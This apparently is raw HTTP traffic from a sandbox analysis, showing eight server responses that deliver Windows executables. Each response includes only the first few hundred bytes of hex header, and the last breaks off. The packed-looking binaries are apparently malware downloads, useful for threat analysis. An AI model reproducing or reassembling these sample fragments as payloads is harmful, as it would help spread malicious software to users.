                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:03 GMTContent-Type: application/octet-streamContent-Length: 967680Last-Modified: Wed, 18 Dec 2024 23:56:23 GMTConnection: keep-aliveETag: "67636127-ec400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 18 61 63 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 14 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 b8 72 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d8 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 58 01 00 00 40 0d 00 00 5a 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 00:10:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:11 GMTContent-Type: application/octet-streamContent-Length: 1752576Last-Modified: Wed, 18 Dec 2024 23:56:50 GMTConnection: keep-aliveETag: "67636142-1abe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 b0 6d 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 69 72 69 76 72 76 6f 00 60 1a 00 00 20 2b 00 00 5e 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 64 6d 6e 69 75 71 00 20 00 00 00 80 45 00 00 04 00 00 00 98 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 45 00 00 22 00 00 00 9c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:18 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:20 GMTContent-Type: application/octet-streamContent-Length: 1752576Last-Modified: Wed, 18 Dec 2024 23:56:52 GMTConnection: keep-aliveETag: "67636144-1abe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 b0 6d 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 69 72 69 76 72 76 6f 00 60 1a 00 00 20 2b 00 00 5e 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 64 6d 6e 69 75 71 00 20 00 00 00 80 45 00 00 04 00 00 00 98 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 45 00 00 22 00 00 00 9c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:25 GMTContent-Type: application/octet-streamContent-Length: 1885696Last-Modified: Wed, 18 Dec 2024 18:20:46 GMTConnection: keep-aliveETag: "6763127e-1cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 7a 78 64 77 79 76 69 00 50 1a 00 00 20 30 00 00 42 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 7a 64 6c 64 69 67 00 10 00 00 00 70 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:30 GMTContent-Type: application/octet-streamContent-Length: 2909696Last-Modified: Wed, 18 Dec 2024 23:58:29 GMTConnection: keep-aliveETag: "676361a5-2c6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 a0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 4f 00 00 04 00 00 8f fc 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 71 73 78 71 64 79 65 00 d0 2a 00 00 c0 24 00 00 c4 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 71 76 70 72 6e 67 00 10 00 00 00 90 4f 00 00 04 00 00 00 40 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4f 00 00 22 00 00 00 44 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:10:34 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 